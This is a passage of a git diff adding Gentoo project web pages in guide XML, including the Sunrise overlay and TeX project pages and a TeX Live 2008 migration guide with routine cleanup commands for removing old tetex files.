+                <ti>Configuration</ti>
+                <ti>Configuring a machine to meet the demands in a server environment</ti>
+        </tr>
+        <tr>
+                <ti>Administration</ti>
+                <ti>Good practices when administrating a server</ti>
+        </tr>
+        <tr>
+                <ti>Documentation</ti>
+                <ti>Documenting all the above, as well as internal documentation of this project</ti>
+        </tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Planned Development</title>
+<body>
+<p>
+   The current planned development in the Gentoo Server Project are:
+</p>
+
+   <table>
+        <tr>
+                <th>Project:</th>
+                <th>Description:</th>
+        </tr>
+        <tr>
+                <ti>Stable Portage Tree</ti>
+                <ti>Developing a stable portage tree for use in servers, and only updating when a bugfix or security issue arrises.
+                    Increasing the life of the operating system and providing a stable platform for applications</ti>
+        </tr>
+        <tr>
+                <ti>Centralised Configuration Management</ti>
+                <ti>Formalising a methodology to manage the configuration of servers and desktop configuration </ti>
+        </tr>
+        <tr>
+                <ti>Rapid Deployment</ti>
+                <ti>By using a base system, and Centralised Configuration Management, system rollouts for both workstations and servers can be deployed quickly and easily<uri link="http://www.infrastructures.org/papers/bootstrap/bootstrap.html"> as per the infrastructures.org </uri> paper</ti>
+        </tr>
+   </table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Server Project Developers</title>
+<section>
+<body>
+<p>
+Each developer working on Gentoo Server Project is listed here, full time indicates that their main Gentoo position is on this project, part time indicates that their main position lies in another area but they do additional work on the Gentoo Server Project.
+</p>
+
+<table>
+        <tr>
+                <th>Developer Name</th>
+                <th>Username</th>
+                <th>Full/Part Time</th>
+                <th>Areas of Responsibilty</th>
+        </tr>
+        <tr>
+                <ti>Kurt Lieber</ti>
+                <ti>klieber</ti>
+                <ti>part</ti>
+                <ti>Project Sponsor</ti>
+        </tr>
+
+</table>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>I Want to Participate</title>
+<section>
+<body>
+<p>
+To participate in the Gentoo server project first join the mailing list at <c>gentoo-server@gentoo.org</c>. Then ask if there are plans to support something that you are interested in, propose a new subproject that you are interested in or choose one of the planned subprojects to work on. You may talk to the developers and users in the IRC channel <c>#gentoo-server</c> on <c>irc.freenode.net</c> for more information or just to chat about the project or any subprojects. If you don't have the ability to actively help by contributing work we will always need testers to maintain the security and stability of the overall product. All development, testing, and productive comments and feedback will be greatly appreciated.
+</p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/site.xml b/xml/htdocs/proj/en/site.xml
new file mode 100644
index 00000000..74b0dd48
--- /dev/null
+++ b/xml/htdocs/proj/en/site.xml
@@ -0,0 +1,71 @@
+<?xml version='1.0'?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide type="project" link="site.xml">
+<title>XML projects page</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+
+<abstract>
+This page contains information about the "guide" XML project, used for the
+Gentoo Linux documentation and Web site.
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guide XML</title>
+
+<section>
+<body>
+
+<p>
+The Gentoo Linux team uses a special simple XML format called <c>guide XML</c>
+for all of its documentation and Web pages.  If you're interested in learning
+more about this format, you may want to read the <e>A site reborn</e> series of
+<uri link="http://www.ibm.com/developerworks">IBM developerWorks</uri>
+articles, written by Daniel Robbins:
+</p>
+
+<ul>
+ <li>
+   In <uri link="/doc/en/articles/l-redesign-1.xml">Part 1</uri>, Daniel creates
+   a user-centric action plan and introduces <c>pytext</c>, an embedded Python
+   interpreter.
+ </li>
+ <li>
+   In <uri link="/doc/en/articles/l-redesign-2.xml">Part 2</uri>, Daniel shows
+   off the new <c>guide XML</c> documentation system and sets up a daily
+   CVS-log mailing list.
+ </li>
+ <li>
+   In <uri link="/doc/en/articles/l-redesign-3.xml">Part 3</uri>, Daniel designs
+   a new look for the site as a whole
+ </li> 
+ <li>
+   In <uri link="/doc/en/articles/l-redesign-4.xml">Part 4</uri>, Daniel
+   completes the conversion to XML/XSLT, fixes a host of Netscape 4.x browser
+   compatibility bugs, and adds an auto-generated XML Changelog to the site.
+ </li>
+</ul>
+
+<p>
+We also have a <uri link="/doc/en/xml-guide.xml">Gentoo Linux Documentation
+Guide</uri> that explains how to use the <c>guide XML</c> format.
+</p>
+
+<!--
+You can download the latest version of all our <c>guide XML</c> tools by
+grabbing this file, which actually contains a CVS snapshot of all the files
+used to create the Web site: <uri
+link="/dyn/arch/xml-guide-latest.tar.gz">xml-guide-latest.tar.gz</uri>.  This
+tarball is automatically regenerated every time the Gentoo Linux Web site is
+updated, so it will always be current.  Instructions on how to use the included
+files can be found in the <uri link="/doc/en/xml-guide.xml">Gentoo Linux
+Documentation Guide</uri> (FYI, this tarball contains a snapshot of the
+<path>gentoo-web</path> directory from our <path>gentoo-src</path> CVS module.)
+-->
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/sunrise/index.xml b/xml/htdocs/proj/en/sunrise/index.xml
new file mode 100644
index 00000000..7cd5539c
--- /dev/null
+++ b/xml/htdocs/proj/en/sunrise/index.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Sunrise</name>
+  <longname>Project Sunrise - Gentoo User Overlay</longname>
+  <date>2010-05-21</date>
+  <description>Project Sunrise provides a gentoo user overlay - the team members take care of the health of the overlay</description>
+  <longdescription>
+    <p>Project Sunrise is a starting point for gentoo users to contribute. The team members encourage users to write ebuilds and make sure that they follow Gentoo QA standards. The project maintains an overlay where users who would like to contribute ebuilds can get access. We work closely with the overlays, QA, userrel and devrel projects to reach our goals.</p>
+  </longdescription>
+  <goals><p>
+Our goals include but are not limited to:</p>
+<ul><li>provide a central home for contributed ebuilds that do not (yet) find a place in the portage tree</li><li>encourage users to write ebuilds</li><li>find new recruits</li><li>get users to contribute their ebuilds to "gentoo" instead of a third-party overlay</li><li>make maintainer-wanted ebuild access and development easier</li><li>work with users on new ebuilds and explain to them what they can do better</li><li>provide and manage a single overlay for projects/herds that do not want to maintain one on their own</li>
+<li>encourage users to actively maintain ebuilds on portage tree by becoming <uri link="http://overlays.gentoo.org/proj/sunrise/wiki/ProxyMaintainer">proxy maintainers</uri></li></ul>
+</goals>
+
+  <!-- Developer Roles -->
+  <dev role="Lead" description="Administration and Ebuild-Review">tommy</dev>
+  <dev role="member" description="Ebuild-review">chithanh</dev>
+  <dev role="member" description="Ebuild-review">hwoarang</dev>
+  <dev role="member" description="Ebuild-review">jlec</dev>
+  <dev role="member" description="Support for russian speaking users">pva</dev>
+  <!-- Project Specific Pages/Documentation -->
+  <extrachapter>
+    <title>Trusted Committers</title>
+    <section>
+      <body>
+        <p>Trusted Committers have taken the ebuild quiz and shown that they are able to look up issues themselves in the documentation. They are allowed to commit ebuilds without going through the usual pre-review. Of course their ebuilds are like every other sunrise ebuild only available for public checkout after developer review.</p>
+        <table>
+          <tr>
+            <th>Name</th>
+            <th>Nickname</th>
+            <th>Email address</th>
+          </tr>
+          <tr>
+            <ti>Nathan Phillip Brink</ti>
+            <ti>binki</ti>
+            <ti>ohnobinki at ohnopublishing.net</ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+  </extrachapter>
+  
+  <!-- Chapter regarding mailing list & participation -->
+  <extrachapter>
+    <title>Participating</title>
+    <section>
+      <title>#gentoo-sunrise on irc.gentoo.org</title>
+      <body>
+        <p>Stop by on IRC at <uri link="irc://gentoo/gentoo-sunrise">#gentoo-sunrise</uri> on irc.gentoo.org.</p>
+      </body>
+    </section>
+  </extrachapter>
+  
+  <!-- Used / Offered resources -->
+  <extrachapter>
+    <title>Useful Resources</title>
+    <section>
+      <body>
+        <ul>
+          <li>Sunrise Overlay Wiki at <uri link="http://overlays.gentoo.org/proj/sunrise">overlays.gentoo.org</uri></li>
+          <li>
+            <uri link="http://devmanual.gentoo.org/">Ebuild Handbook</uri>
+          </li>
+          <li>See topic at #gentoo-sunrise for more useful links and ask questions</li>
+        </ul>
+      </body>
+    </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/tex/index.xml b/xml/htdocs/proj/en/tex/index.xml
new file mode 100644
index 00000000..450f8c06
--- /dev/null
+++ b/xml/htdocs/proj/en/tex/index.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+  <name>TeX</name>
+
+  <author title="Author">
+    <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+  </author>
+
+  <description>
+    The TeX project maintains ebuilds for TeX distributions and TeX related
+    packages.
+  </description>
+
+  <longdescription>
+    <p>
+      The TeX project maintains ebuilds for TeX distributions and TeX related
+      packages. This includes app-text/texlive, app-text/tetex, the dev-texlive
+      category, most of dev-tex and a few others.
+    </p>
+  </longdescription>
+
+  <herd name="tex" />
+
+  <dev role="Member">aballier</dev>
+
+  <resource link="texlive-migration-guide.xml">
+          How to migrate from teTeX or TeX Live 2005 to TeX Live 2007.
+  </resource>
+</project>
diff --git a/xml/htdocs/proj/en/tex/texlive-migration-guide.xml b/xml/htdocs/proj/en/tex/texlive-migration-guide.xml
new file mode 100644
index 00000000..6d646214
--- /dev/null
+++ b/xml/htdocs/proj/en/tex/texlive-migration-guide.xml
@@ -0,0 +1,561 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/tex/texlive-migration-guide.xml,v 1.7 2009/04/15 05:59:09 aballier Exp $ -->
+
+<guide link="/proj/en/tex/texlive-migration-guide.xml">
+<title>TeX Live 2008 guide</title>
+
+<author title="Author">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+
+<abstract>
+This guide aims to show you how to install TeX Live 2008 on Gentoo,
+more specifically what you need to take care of if you already have a
+TeX distribution installed (like tetex or TeX Live 2005).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2009-04-15</date>
+
+<chapter id="uninstall">
+<title>Clean uninstall</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+In this section we will assume that you have <c>>=app-text/tetex-3</c>
+installed. This also applies if you had <c>app-text/texlive-2005</c>
+installed. In a perfect world it would be as simple as unmerging it,
+but unfortunately it is not.
+</p>
+
+</body>
+</section>
+<section>
+<title>Saving your old configuration</title>
+<body>
+
+<p>
+If you have modified your configuration of <c>tetex</c> editing the
+files in <path>/etc/texmf</path>, you should save them first:
+</p>
+
+<pre caption="Save your old configuration files">
+$ <i>cp -rf /etc/texmf ~/tetex-texmf</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Removing tetex</title>
+<body>
+
+<p>
+Now you can safely unmerge <c>tetex</c>:
+</p>
+
+<pre caption="Remove tetex">
+# <i>emerge -C tetex</i>
+</pre>
+
+<p>
+Some weird errors have been reported when stray configuration files
+were left behind in <path>/etc/texmf</path>. For safety and for a
+clean install of <c>TeX Live</c> it is recommended to remove the
+<path>/etc/texmf/texmf.d/00texmf.cnf</path> file:
+</p>
+
+<pre caption="Cleanup /etc/texmf">
+# <i>rm /etc/texmf/texmf.d/00texmf.cnf</i>
+</pre>
+
+<note>
+You have not lost anything since you just saved your old configuration files.
+</note>
+
+<p>
+Due to <c>tetex</c> using <c>texlinks</c> outside of the scope of the
+package manager, simply unmerging it will have left behind some stray
+symlinks:
+</p>
+
+<pre caption="tetex stray symlink">
+$ <i>ls -l /usr/bin/pdftex</i>
+lrwxrwxrwx 1 root root 7 2007-07-09 07:34 /usr/bin/pdftex -> pdfetex
+</pre>
+
+<p>
+Of course, pdfetex has gone with <c>tetex</c>'s removal, so the pdftex symlink
+is dead and can be safely removed. The <c>find</c> command (with a GNU
+extension though) can help us find and remove dead symlinks interactively:
+</p>
+
+<pre caption="Eliminate dead symlinks interactively">
+# <i>find /usr/bin -type l ! -xtype f ! -xtype d -ok rm -f {} \;</i>
+
+&lt; rm ... /usr/bin/pdflatex &gt; ? y
+&lt; rm ... /usr/bin/amstex &gt; ? y
+&lt; rm ... /usr/bin/pdftex &gt; ? y
+&lt; rm ... /usr/bin/eplain &gt; ? y
+&lt; rm ... /usr/bin/jadetex &gt; ? y
+&lt; rm ... /usr/bin/lambda &gt; ? y
+&lt; rm ... /usr/bin/pdfamstex &gt; ? y
+&lt; rm ... /usr/bin/elatex &gt; ? y
+&lt; rm ... /usr/bin/lamed &gt; ? y
+&lt; rm ... /usr/bin/pdfjadetex &gt; ? y
+&lt; rm ... /usr/bin/latex &gt; ? y
+</pre>
+
+<p>
+These were the files left over by my <c>tetex</c> installation.
+</p>
+
+<p>
+<c>tetex</c> was also using <c>fmtutil</c> outside of the scope of the package
+manager to generate the format files. With <c>TeX Live 2008</c> we now
+build most of the format files while compiling the packages; which format
+files will be installed in <path>/var/lib/texmf</path>. That means you have to
+make sure that there are no stray format files:
+</p>
+
+<pre caption="Remove stray format files">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installing TeX Live 2008</title>
+<section>
+<body>
+
+<p>
+If you have passed through all the above steps, installing <c>TeX Live
+2008</c> now should be very easy.
+</p>
+
+<pre caption="Install TeX Live 2008">
+# <i>emerge texlive</i>
+</pre>
+
+<p>
+In theory this should just go smoothly and install everything. You
+might want to tune <c>app-text/texlive</c> USE flags to install extra
+TeX packages, but you can do it later; <c>app-text/texlive</c> is just
+a meta-ebuild that pulls the real packages depending on its USE flags.
+</p>
+
+<p>
+Nevertheless, it is possible to get dependency problems, errors while
+installing a package, etc. In that case, you are advised to file a bug
+on <uri>https://bugs.gentoo.org</uri>. If you file a bug, please
+include at least the output of <c>texconfig conf</c> (run as the same
+user that failed to install, because some environment variables might
+be important) in addition to the error; this output will most often be
+requested.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuration</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+As was the case for <c>tetex-3</c>, <c>TeX Live</c> on <c>Gentoo</c> has its
+three main configuration files separated and handled by <c>texmf-update</c>.
+These files are, namely, <path>texmf.cnf</path>, <path>fmtutil.cnf</path>,
+<path>updmap.cfg</path>. They lie in <path>/etc/texmf/web2c</path>; you should
+not modify them directly because the changes will be lost the next time
+<c>texmf-update</c> is run.
+</p>
+
+</body>
+</section>
+<section>
+<title> texmf.cnf </title>
+<body>
+
+<p>
+The <path>texmf.cnf</path> file is the main TeX installation
+configuration file. It contains variable definitions that will be used
+by a lot of programs.
+</p>
+
+<p>
+The <path>texmf.cnf</path> file is the result of concatenating files
+in <path>/etc/texmf/texmf.d</path>. In order to modify your TeX environment
+configuration, you should modify the files there. At the time of writing,
+<c>Gentoo TeX Live</c>'s ebuild install six files there:
+</p>
+
+<pre caption="texmf.d installed files">
+00header.cnf
+05searchpaths.cnf
+10standardpaths.cnf
+15options.cnf
+20sizes.cnf
+25misc.cnf
+</pre>
+
+<p>
+This is the result of the splitting in their respective sections of a
+(lightly) modified <path>texmf.cnf</path> file from <c>TeX Live
+2008</c> DVD.
+</p>
+
+<p>
+The <path>00header.cnf</path>, <path>05searchpaths.cnf</path>,
+<path>10standardpaths.cnf</path> and <path>25misc.cnf</path> files
+should not be modified. If the defaults can be improved, please file a
+bug.
+</p>
+
+<warn>
+The <c>TeX Live</c> ebuilds are not aware of path changes of those
+files, so if you change any path there, make sure you know what you
+are doing.
+</warn>
+
+<p>
+The <path>15options.cnf</path> and <path>20sizes.cnf</path> files can
+be modified with caution. The comments in these files should explain
+what options mean. For example, in <path>20sizes.cnf</path> you can
+increase TeX memory, in case you are trying to compile a document that
+is too big and runs into <c>TeX capacity exceeded, sorry</c> errors.
+</p>
+
+<p>
+If you wish to append additions to the <path>texmf.cnf</path> file,
+you can also create a new file in <path>/etc/texmf/texmf.d</path>,
+called for example <path>99myadditions.cnf</path>. Beware not to give
+it a higher priority than the core configuration files, so it should
+begin with a two digit number greater than <c>25</c>.
+</p>
+
+<p>
+Packages that need to append something to the <path>texmf.cnf</path>
+file get the same treatment, they should install a
+<path>texmf.d</path> file instead:
+</p>
+
+<pre caption="Sample code for installing a texmf.d file">
+<keyword>insinto</keyword> <const>/etc/texmf/texmf.d</const>
+<keyword>doins</keyword> <const>40mytexmfadditions.cnf</const>
+</pre>
+
+</body>
+</section>
+<section>
+<title>updmap.cfg</title>
+<body>
+
+<p>
+The <path>updmap.cfg</path> file is the configuration file used by
+<c>updmap</c> (and <c>updmap-sys</c>), unless otherwise specified. It
+tells it which font maps to update for the various TeX output drivers.
+</p>
+
+<p>
+The <path>updmap.cfg</path> file in <path>/etc/texmf/web2c</path> is
+the result of concatenating the files in
+<path>/etc/texmf/updmap.d</path>. The initial
+<path>00updmap.cfg</path> file installed by
+<c>app-text/texlive-core</c> is the result of running <c>updmap
+--syncwithtrees</c> on the the installed <c>texmf</c> tree (in fact,
+it just mimics what <c>updmap --syncwithtrees</c> would do, but it is
+only a technical detail).
+</p>
+
+<p>
+Various <c>TeX Live</c> ebuilds will add files to the
+<path>/etc/texmf/updmap.d</path> directory when they install
+fonts. While you can edit those files to disable some font maps to be
+updated, it would probably be wiser to remove the relevant package.
+</p>
+
+<p>
+If a third party package wants to add font maps, it should
+install a file in <path>/etc/texmf/updmap.d</path> and let
+<c>texmf-update</c> handle it.
+</p>
+
+<warn>
+Sometimes you can see <c>updmap-sys --enable Map=mymap.map</c> in some
+ebuilds or some installation instructions of a third party font
+package, while this might work at first, these changes will be
+reverted the next time <c>texmf-update</c> is run.
+</warn>
+
+<p>
+A better way of handling this would be to create a file to be
+installed in <path>/etc/texmf/updmap.d</path> and install it for TeX
+distributions that support the <c>texmf-update</c> way:
+</p>
+
+<pre caption="How to enable a font map">
+<keyword>inherit</keyword> <ident>latex-package</ident>
+...
+<stmt>src_install()</stmt> {
+    ...
+    <keyword>if</keyword> <stmt>latex-package_has_tetex_3</stmt>; then
+        <keyword>insinto</keyword> /etc/texmf/updmap.d
+        <keyword>doins</keyword> myfontmapconfig.cfg
+    <keyword>fi</keyword>
+    ...
+}
+...
+<stmt>pkg_postinst()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --enable Map=mymap.map
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --disable Map=mymap.map
+}
+</pre>
+
+<p>
+The files in <path>/etc/texmf/updmap.d</path> should respect <c>updmap</c>
+syntax:
+</p>
+
+<pre caption="Snippet of updmap.cfg explaining the syntax">
+There are two possible entries: Map and MixedMap. Both have one additional
+argument: the file name of the map file. MixedMap ("mixed" means that the font
+is available as bitmap and as outline) lines will not be used in the default map
+of dvips if dvipsPreferOutline is false. Inactive Map files should be marked by
+"#! " (without the quotes), not just #.
+</pre>
+
+</body>
+</section>
+<section>
+<title>fmtutil.cnf</title>
+<body>
+
+<p>
+The <path>fmtutil.cnf</path> file contains information on how to
+build and handle a format file.
+</p>
+
+<p>
+The <path>fmtutil.cnf</path> file is the result of concatenating the
+files in <path>/etc/texmf/fmtutil.d</path>. Various <c>TeX Live</c>
+ebuilds install files there. Those files come with the formats they
+add support for and the symlink to the relevant engine.
+</p>
+
+<pre caption="Snippet of the fmtutil.cnf(5) man page that explains the syntax">
+The fmtutil.cnf file contains the configuration information for fmtutil(8).
+Each line contains the name of the format (e.g., "tex", "latex", "omega"), the
+name of the engine that is used by that format (e.g., "tex", "etex", "omega"),
+the pattern file (e.g., language.dat, language.def), and any arguments (name of
+an .ini file).
+
+Fields are separated by whitespace and complete lines can be commented out with
+"#".  The "pattern file" field cannot be used to define a file that is used
+while building the format. It tells fmtutil which file the format creation
+procedure reads and it has an effect to the options --showhyphen and --byhyphen.
+If the format has no way to customize hyphenation, a "-" can be used to indicate
+this.
+</pre>
+
+<p>
+<c>TeX Live</c> ebuilds that install a <path>fmtutil.d</path> file,
+install the relevant format files in <path>/var/lib/texmf/web2c</path>
+and create the symlink from the format to the engine.
+</p>
+
+<p>
+Note that when a support file for a language gets added,
+<c>texmf-update</c> takes care of adding it to the
+<path>language.dat</path> file and regenerates the format files to
+support the newly installed language.
+</p>
+
+</body>
+</section>
+<section>
+<title>Updating your configuration</title>
+<body>
+
+<p>
+Now that you know how <c>TeX Live</c> configuration is managed, you
+should be able to port the changes you had made to your older TeX
+distribution configuration to the <c>TeX Live</c> configuration
+layout.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Common errors</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+In this chapter we will try to give a short summary of the most common
+errors and explain what has gone wrong.
+</p>
+
+</body>
+</section>
+<section>
+<title>Format was written by (pdf)etex</title>
+<body>
+
+<p>
+Sometimes when installing some packages that requires latex, you'll
+get this error:
+</p>
+
+<pre caption="Format was written by pdfetex">
+---! //var/lib/texmf/web2c/latex.fmt was written by pdfetex
+</pre>
+
+<p>
+This is due to old files remaining from an old installation of a <c>TeX</c>
+distribution based on <c>etex</c>. This most likely means you did not follow
+entirely this guide, especially the <uri link="#uninstall">Clean uninstall
+chapter</uri>.
+</p>
+
+<p>
+Nevertheless, it is still possible to fix it quickly without having to
+reinstall anything, just run as root:
+</p>
+
+<pre caption="Remove old formats">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+# <i>texmf-update</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Format directory does not exist</title>
+<body>
+
+<p>
+When installing e.g., <c>texlive-latex</c>, you might encounter the error:
+</p>
+
+<pre caption="Format directory does not exist">
+fmtutil: format directory
+`/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-var/web2c' does not
+exist.
+</pre>
+
+<p>
+This is most likely due to a wrong configuration. Try to run the
+following command and get the same results:
+</p>
+
+<pre caption="TEXMFMAIN definition">
+$ <i>kpsewhich --var-value=TEXMFMAIN</i>
+/usr/share/texmf
+</pre>
+
+<p>
+This is very important, since <c>fmtutil</c> looks for <c>mktexdir</c>
+at this location; if you have a different result then <c>fmtutil</c>
+will not find <c>mktexdir</c> and thus will fail to create the
+directory where to temporarily store the compiled formats.
+</p>
+
+<p>
+There is no magic command to fix this one, you should check that your
+configuration is correct, that there are no stray configuration files
+in <path>/etc/texmf/texmf.d</path>. This will most likely be due to an
+old <path>00texmf.cnf</path> being still there and thus setting wrong
+definitions for the <path>texmf.cnf</path> file. Please refer to the
+<uri link="#uninstall">Clean uninstall chapter</uri> and remember that when you
+modify or remove a file in <path>/etc/texmf/*.d</path> you need to run
+<c>texmf-update</c> to have the changes taken into account.
+</p>
+
+</body>
+</section>
+<section>
+<title>Missing .tex files</title>
+<body>
+
+<p>
+When installing <c>texlive-latex</c> (or any other format that has
+babel hyphenation support), you might encounter an error like:
+</p>
+
+<pre caption="missing bghyphen.tex">
+===========================================
+Local configuration file hyphen.cfg used
+===========================================
+
+(/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-dist/tex/generic/ba
+bel/hyphen.cfg (/usr/share/texmf/tex/generic/hyphen/hyphen.tex)
+(/usr/share/texmf/tex/generic/hyphen/ushyphmax.tex)
+(/usr/share/texmf/tex/generic/hyphen/dumyhyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bahyph.tex
+(/usr/share/texmf/tex/generic/hyphen/bahyph.tex))
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bghyphen.tex
+! I can't find file `bghyphen.tex'.
+l.10   \input bghyphen.tex
+
+Please type another input file name:
+! Emergency stop.
+l.10   \input bghyphen.tex
+
+No pages of output.
+Transcript written on latex.log.
+Error: `pdftex -ini  -jobname=latex -progname=latex
+-translate-file=cp227.tcx *latex.ini' failed
+</pre>
+
+<p>
+In that case, you will have to check which <path>language.dat</path>
+file is being used:
+</p>
+
+<pre caption="find language.dat">
+$ <i>kpsewhich language.dat</i>
+/usr/share/texmf/tex/generic/config/language.dat
+</pre>
+
+<p>
+This file is automatically generated by <c>texmf-update</c> and is the
+result of concatenating <path>language.*.dat</path> files present in
+the directory with <path>language.us</path> (for TeX Live 2008, the
+<path>language.*.dat</path> files are taken from
+<path>/etc/texmf/language.dat.d/</path>). This directory should be
+<path>/usr/share/texmf/tex/generic/config/</path>. So you should check
+that there are no other <path>language.*.dat</path> files in that
+directory other than the ones installed by the various
+<c>dev-texlive/texlive-lang*</c> ebuilds. A file present in that
+directory means that you want to enable hyphenation support for a
+specific language; if you don't have the hyphenation support files the
+formats that use this extra hyphenation support will fail to build.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/tools/index.xml b/xml/htdocs/proj/en/tools/index.xml
new file mode 100644
index 00000000..fcf14bda
--- /dev/null
+++ b/xml/htdocs/proj/en/tools/index.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>tools</name>
+  <longname>Gentoo Tools project</longname>
+
+  <author title="Author" >
+    <mail link="pvdabeel@gentoo.org" >Pieter Van den Abeele</mail>
+  </author> 
+ 
+  <description>The Gentoo Tools project</description>
+
+  <longdescription><p>
+  This project page is deprecated. A gentoo tool repository can be found on http://www.gentoo-experimental.org/script/repo/list
+  </p></longdescription>
+  
+</project>
diff --git a/xml/htdocs/proj/en/tools/mailmin.xml b/xml/htdocs/proj/en/tools/mailmin.xml
new file mode 100644
index 00000000..48cfc7ce
--- /dev/null
+++ b/xml/htdocs/proj/en/tools/mailmin.xml
@@ -0,0 +1,39 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide type="project" link="/proj/en/mailmin.xml">
+<title>Mailmin</title>
+<author title="Author"><mail link="klasikahl@gentoo.org">Zack Gilburd</mail></author>
+<author title="Author"><mail link="darkprox@brokli.org">Nicholas Adams</mail></author>
+
+<abstract>
+This page contains information about Mailmin, a PHP script frontend to the mySQL database required by the Virtual/Mailhost Postfix Howto doc.
+</abstract>
+
+<version>0.0.1</version>
+<date>11 Apr 2004</date>
+
+<chapter>
+<title>Mailmin Intro</title>
+<section>
+<body>
+<p>
+Mailmin was created by Nicholas Adams and Zack Gilburd after they realized that there was a great demand for a frontend that would allow system administrators easily manipulate and control the MySQL database that powered their virtual mailhost systems.  After a slow start, they had something that actually worked.
+</p>
+<p>
+In the <uri link="http://www.gentoo.org/doc/en/virt-mail-howto.xml">Virtual/Mailhost Postfix Howto</uri>, users are instructed to create a MySQL database that will control their new mailhost.  Mailmin is not designed to do this for the user, however it is designed to help the user administrate the database post-creation.  While Mailmin is still in the alpha stages, 90% of it is usable and functional.  It can be emerged through path emerges or through unmasking it manually.
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Contact</title>
+<section>
+<body>
+<p>
+If you wish to help out with the Mailmin project, please join us at #mailmin on the <uri link="http://freenode.net/">FreeNode</uri> IRC network.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/userrel/adopt-a-dev/index.xml b/xml/htdocs/proj/en/userrel/adopt-a-dev/index.xml
new file mode 100644
index 00000000..8b756acd
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/adopt-a-dev/index.xml
@@ -0,0 +1,411 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- This page was automatically generated. DO NOT EDIT IT DIRECTLY! -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/userrel/adopt-a-dev/index.xml,v 1.76 2009/09/25 20:46:20 tsunam Exp $ -->
+
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+
+<project>
+<name>adopt-a-dev</name>
+
+<longname>Adopt a Developer</longname>
+
+<date>2007-03-03</date>
+
+<author title="Author">
+  <mail link="tcort@gentoo.org">Thomas Cort</mail>
+</author>
+<author title="Author">
+  <mail link="diox@gentoo.org">Dimitry Bradt</mail>
+</author>
+
+<description>
+  This project aims to connect developers who need resources 
+  (ie hardware, technical books, shell accounts, etc) with people
+  and companies from the community who want to donate resources.
+</description>
+
+<longdescription><p>
+  This project aims to connect developers who need resources with people
+  and companies from the community who want to donate resources. Useful
+  resources include computer hardware, books, shell accounts, and
+  anything else that enhances the development process. This project is
+  not involved with monetary donations; if you wish to donate money,
+  you may do so through <uri 
+link="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&amp;business=paypal@gentoo.org&amp;item_name=Gentoo+Linux+Support&amp;item_number=1000&amp;image_url=/images/paypal.png&amp;no_shipping=1&amp;return=http://www.gentoo.org&amp;cancel_return=http://www.gentoo.org">paypal</uri>.
+  If you are a developer looking for monetary resources, then you
+  may be interested in the <uri link="/foundation/en/funds.xml">
